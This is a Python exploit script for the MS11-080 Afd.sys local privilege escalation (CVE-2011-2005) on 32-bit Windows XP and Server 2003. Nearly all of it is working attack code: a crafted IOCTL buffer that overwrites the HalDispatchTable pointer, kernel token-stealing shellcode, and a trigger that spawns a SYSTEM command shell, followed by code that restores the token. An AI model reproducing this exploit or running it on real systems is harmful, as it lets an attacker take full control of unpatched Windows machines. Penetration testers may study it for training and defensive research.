|
################################################################################ ######### MS11-080 - CVE-2011-2005 Afd.sys Privilege Escalation Exploit ######## ######### Author: ryujin@offsec.com - Matteo Memelli ######## ######### Spaghetti & Pwnsauce ######## ######### yuck! 0xbaadf00d Elwood@mac&cheese.com ######## ######### ######## ######### Thx to dookie(lifesaver)2000ca, dijital1 and ronin ######## ######### for helping out! ######## ######### ######## ######### To my Master Shifu muts: ######## ######### "So that's it, I just need inner peace?" ;) ######## ######### ######## ######### Exploit tested on the following 32bits systems: ######## ######### Win XPSP3 Eng, Win 2K3SP2 Standard/Enterprise Eng ######## ################################################################################
from ctypes import (windll, CDLL, Structure, byref, sizeof, POINTER, c_char, c_short, c_ushort, c_int, c_uint, c_ulong, c_void_p, c_long, c_char_p) from ctypes.wintypes import HANDLE, DWORD import socket, time, os, struct, sys from optparse import OptionParser
usage = "%prog -O TARGET_OS" parser = OptionParser(usage=usage) parser.add_option("-O", "--target-os", type="string", action="store", dest="target_os", help="Target OS. Accepted values: XP, 2K3") (options, args) = parser.parse_args() OS = options.target_os if not OS or OS.upper() not in ['XP','2K3']: parser.print_help() sys.exit() OS = OS.upper()
kernel32 = windll.kernel32 ntdll = windll.ntdll Psapi = windll.Psapi
def findSysBase(drvname=None): ARRAY_SIZE = 1024 myarray = c_ulong * ARRAY_SIZE lpImageBase = myarray() cb = c_int(1024) lpcbNeeded = c_long() drivername_size = c_long() drivername_size.value = 48 Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) for baseaddy in lpImageBase: drivername = c_char_p("\x00"*drivername_size.value) if baseaddy: Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername, drivername_size.value) if drvname: if drivername.value.lower() == drvname: print "[+] Retrieving %s info..." % drvname print "[+] %s base address: %s" % (drvname, hex(baseaddy)) return baseaddy else: if drivername.value.lower().find("krnl") !=-1: print "[+] Retrieving Kernel info..." print "[+] Kernel version:", drivername.value print "[+] Kernel base address: %s" % hex(baseaddy) return (baseaddy, drivername.value) return None
print "[>] MS11-080 Privilege Escalation Exploit" print "[>] Matteo Memelli - ryujin@offsec.com" print "[>] Release Date 28/11/2011"
WSAGetLastError = windll.Ws2_32.WSAGetLastError WSAGetLastError.argtypes = () WSAGetLastError.restype = c_int SOCKET = c_int WSASocket = windll.Ws2_32.WSASocketA WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD) WSASocket.restype = SOCKET closesocket = windll.Ws2_32.closesocket closesocket.argtypes = (SOCKET,) closesocket.restype = c_int connect = windll.Ws2_32.connect connect.argtypes = (SOCKET, c_void_p, c_int) connect.restype = c_int
class sockaddr_in(Structure): _fields_ = [ ("sin_family", c_short), ("sin_port", c_ushort), ("sin_addr", c_ulong), ("sin_zero", c_char * 8), ]
## Create our deviceiocontrol socket handle client = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0) if client == ~0: raise OSError, "WSASocket: %s" % (WSAGetLastError(),) try: addr = sockaddr_in() addr.sin_family = socket.AF_INET addr.sin_port = socket.htons(4455) addr.sin_addr = socket.htonl(0x7f000001) # 127.0.0.1 ## We need to connect to a closed port, socket state must be CONNECTING connect(client, byref(addr), sizeof(addr)) except: closesocket(client) raise
baseadd = c_int(0x1001) MEMRES = (0x1000 | 0x2000) PAGEEXE = 0x00000040 Zerobits = c_int(0) RegionSize = c_int(0x1000) written = c_int(0) ## This will trigger the path to AfdRestartJoin irpstuff = ("\x41\x41\x41\x41\x42\x42\x42\x42" "\x00\x00\x00\x00\x44\x44\x44\x44" "\x01\x00\x00\x00" "\xe8\x00" + "4" + "\xf0\x00" + "\x45"*231) ## Allocate space for the input buffer dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE) # Copy input buffer to it kernel32.WriteProcessMemory(-1, 0x1000, irpstuff, 0x100, byref(written)) startPage = c_int(0x00020000) kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written)) ################################# KERNEL INFO ################################## lpDriver = c_char_p() lpPath = c_char_p() lpDrvAddress = c_long() (krnlbase, kernelver) = findSysBase() hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1) HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += krnlbase print "[+] HalDispatchTable address:", hex(HalDispatchTable) halbase = findSysBase("hal.dll") ## WinXP SP3 if OS == "XP": HaliQuerySystemInformation = halbase+0x16bba # Offset for XPSP3 HalpSetSystemInformation = halbase+0x19436 # Offset for XPSP3 ## Win2k3 SP2 else: HaliQuerySystemInformation = halbase+0x1fa1e # Offset for WIN2K3 HalpSetSystemInformation = halbase+0x21c60 # Offset for WIN2K3 print "[+] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation) print "[+] HalpSetSystemInformation address:", hex(HalpSetSystemInformation)
################################# EXPLOITATION ################################# shellcode_address_dep = 0x0002071e shellcode_address_nodep = 0x000207b8 padding = "\x90"*2 HalDispatchTable0x4 = HalDispatchTable + 0x4 HalDispatchTable0x8 = HalDispatchTable + 0x8 ## tokenbkaddr = 0x00020900 if OS == "XP": _KPROCESS = "\x44" _TOKEN = "\xc8" _UPID = "\x84" _APLINKS = "\x88" else: _KPROCESS = "\x38" _TOKEN = "\xd8" _UPID = "\x94" _APLINKS = "\x98" restore_ptrs = "\x31\xc0" + \ "\xb8" + struct.pack("L", HalpSetSystemInformation) + \ "\xa3" + struct.pack("L", HalDispatchTable0x8) + \ "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \ "\xa3" + struct.pack("L", HalDispatchTable0x4) tokenstealing = "\x52" +\ "\x53" +\ "\x33\xc0" +\ "\x64\x8b\x80\x24\x01\x00\x00" +\ "\x8b\x40" + _KPROCESS +\ "\x8b\xc8" +\ "\x8b\x98" + _TOKEN + "\x00\x00\x00" +\ "\x89\x1d\x00\x09\x02\x00" +\ "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\ "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\ "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\ "\x75\xe8" +\ "\x8b\x90" + _TOKEN + "\x00\x00\x00" +\ "\x8b\xc1" +\ "\x89\x90" + _TOKEN + "\x00\x00\x00" +\ "\x5b" +\ "\x5a" +\ "\xc2\x10" restore_token = "\x52" +\ "\x33\xc0" +\ "\x64\x8b\x80\x24\x01\x00\x00" +\ "\x8b\x40" + _KPROCESS +\ "\x8b\x15\x00\x09\x02\x00" +\ "\x89\x90" + _TOKEN + "\x00\x00\x00" +\ "\x5a" +\ "\xc2\x10" shellcode = padding + restore_ptrs + tokenstealing shellcode_size = len(shellcode) orig_size = shellcode_size # Write shellcode in userspace (dep) kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode, shellcode_size, byref(written)) # Write shellcode in userspace *(nodep) kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode, shellcode_size, byref(written)) ## Trigger Pointer Overwrite print "[*] Triggering AFDJoinLeaf pointer overwrite..." IOCTL = 0x000120bb # AFDJoinLeaf inputbuffer = 0x1004 inputbuffer_size = 0x108 outputbuffer_size = 0x0 # Bypass Probe for Write outputbuffer = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1 IoStatusBlock = c_ulong() NTSTATUS = ntdll.ZwDeviceIoControlFile(client, None, None, None, byref(IoStatusBlock), IOCTL, inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size ) ## Trigger shellcode inp = c_ulong() out = c_ulong() inp = 0x1337 hola = ntdll.NtQueryIntervalProfile(inp, byref(out)) ## Spawn a system shell, w00t! print "[*] Spawning a SYSTEM shell..." os.system("cmd.exe /T:C0 /K cd c:\\windows\\system32")
############################## POST EXPLOITATION ############################### print "[*] Restoring token..." ## Restore the thingie shellcode = padding + restore_ptrs + restore_token shellcode_size = len(shellcode) trail_padding = (orig_size - shellcode_size) * "\x00" shellcode += trail_padding shellcode_size += (orig_size - shellcode_size) ## Write restore shellcode in userspace (dep) kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode, shellcode_size, byref(written)) ## Write restore shellcode in userspace (nodep) kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode, shellcode_size, byref(written)) ## Overwrite HalDispatchTable once again NTSTATUS = ntdll.ZwDeviceIoControlFile(client, None, None, None, byref(IoStatusBlock), IOCTL, inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size ) ## Trigger restore shellcode hola = ntdll.NtQueryIntervalProfile(inp, byref(out)) print "[+] Restore done! Have a nice day :)"
|